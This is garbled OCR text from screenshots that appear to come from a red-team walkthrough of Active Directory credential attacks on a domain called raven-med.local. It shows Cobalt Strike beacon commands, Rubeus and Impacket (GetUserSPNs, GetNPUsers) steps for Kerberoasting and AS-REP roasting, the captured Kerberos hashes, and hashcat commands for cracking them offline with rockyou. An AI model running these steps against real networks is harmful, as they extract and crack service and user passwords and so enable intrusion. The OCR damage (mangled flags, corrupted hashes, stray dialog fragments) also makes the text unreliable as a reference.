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[T1 Windows [TTTTTIT]
[T

Get-NetUser -SPN | select samaccountname

beacon> powershell get-netuser -spn | select samaccountname
[*] Tasked beacon to run: get-netuser -spn | select samaccountname
[+] host called home, sent: 377 bytes
[+] received output:

#= CLIXML

samaccountname

krbtgt
sql_service

[T

rubeus. exe kerberoast /format: hashcat /user:[[IIT] /nowrap

beacon> execute-assembly rubeus.exe kerberoast fformat:hashcat fuser:sql_service /nowrap

[*] Tasked beacon to run .NET program: rubeus.exe kerberoast fformat:hashcat fuser:sql_service /nowrap
[+]1 host called home, sent: 551571 bytes

[+] received output:

Action: Kerberoasting

NOTICE: AES hashes will be returned for »-enabled accounts,
Use fticket:X or ftgtdeleg to force RC4 HMAC for these accounts.

Target User + sql_service
Target Domain p raven-med. Llocal
Searching path 'LDAP: H(I(ﬂl prod.raven-med. local/DC=prod,DC=raven-med,DC=local" for *(&(samAccountType

received output:

[*] Total kerberoastable users :

[*] SamAccountName :

[*] DistinguishedName H sql_service, C ers,DC=prod, DC=raven-med, DC=local

[*] ServicePrincipalName i 3 rvOl, d. laven-me(l local:SQLOL

[*] PwdLastSet 1] 17 An

[*] Supported ETypes

[*1 Hash

$krb5tgs$23%*+sql_ se|v1ce$p|u(l raven-med. Local$MSSQLSvc/srvOl. prod. raven-med. Local: SQLO d.raven-med. loc

306368) (servicePrincipalName=*) (samAc

60DOFBAS67B41FE1FB$B762
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python3 GetUserSPNs. py -request -request-user [target user] -dc-ip [dc ip] [domain

fqdn/user: password]

sswordlLast

1T

hashcat -a 0 -m 13100 krb5tgs. txt rockyou. txt
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jason Properties ? >

Published Certfficates  Member Of  Password Replication  Dialin ~ Object
Security Environment Sessions Remote contral
Remote Desktop Services Profile COM+ Attribute Editor

General Address Account Prafile Telephones COrganization

User logon name:
[ | v

User logon name (pre-Windows 2000):
| RAVEN-MED\ | jason

Logon Hours.. Log On To...

[ ] Unlock account

Accourt options:

[ Uze only Kerberos DES encryption types for this account ™
] This accourt supports Kerberos AES 128 bit encryption.
[ This account supports Kerberos AES 256 bit encryption.
Do not require Kerberos preauthentication W

Account expires
(®) Never

(O End of: Fiday . May 12 2023

u
L

Cancel Appihy Help

[T Windows [TTTTTIT]
]

Get-NetUser -PreAuthNotRequired | select samaccountname

beacon> powershell Get-HNetUser -domain raven-med.local -PreAuthNotRequired | select samaccountname

[*] Tasked beacon to run: Get-NetUser -domain raven-med.local -PreAuthNotRequired | select samaccountname
[+] host called home, sent: 481 bytes

[+] received output

#< CLIXML

Samaccountname

[(IITTraven-med [I11T]jason [IITT1T]

[T
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rubeus. exe asreproast /format: hashcat /user:[[III] /nowrap

beac execute-assembly rubeus.exe asreproast fformat:hashcat fuser:jason /domain:raven-med.local /nowrap

[*] Tasked beacon to run .NET program: rubeus.exe asreproast /format:hashcat /user:jason /domain:raven-med.local /nowrap
[+] host called home, sent: 551607 bytes

[+] received output

Action: AS-REP roasting

[*] Target User 1 jason
[*] Target Domain : raven-med. local

[*] Searching path 'LDAP://dc raven-med. local/DC=raven-med,DC=local' for '(&(samAccountTyp 3 ) (userAccountControl:1,2.840.1
[*] SamAccountName 1 jason

[*] DistinguishedName CN=jason, CN=User =raven-med, DC=Llocal

[*] Using domain controller: dc02.raven-med,local (172,16 )

[*] Building AS-REQ (w/o preauth) for: 'raven-med.local\jason'

[+] received output
preauth successful!
REP hash:

-
$krbSasrep$2 son@raven-med. Local: AB090D41930025B206437E9F3141A6DD$2B22D6EDE23E41C5FCBA3| CD63815CBO4CEO1E]C

python3 getNPUsers. py -dc-ip [dc ip] [domain fqdn]/ -usersfile [user list] -format hashcat

rootdts:/opt/framework/impacket# proxychains python3 examples/GetNPUsers.py -dc-ip 172.16.1.21 raven-med.local/ -usersfile asrep.txt -format hashca

ins.sf.net)
2 reAuth Corporation

e4el62bBBak7
8b2ed; 94@3df715889bb5d6481lackaefbolfd9effcasfd2esce dbafcceda
8f74callf7dd406adfcsfb0ades0asd7594f0fbbd108afsfded4851830948038aa5080achadc
root@ts:/opt/framework/impack

hashcat -a 0 -m 18200 krb5asrep. txt rockyou. txt
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~/Desktop

hash. txt dict/rockyou.txt

rm #1 [The poc
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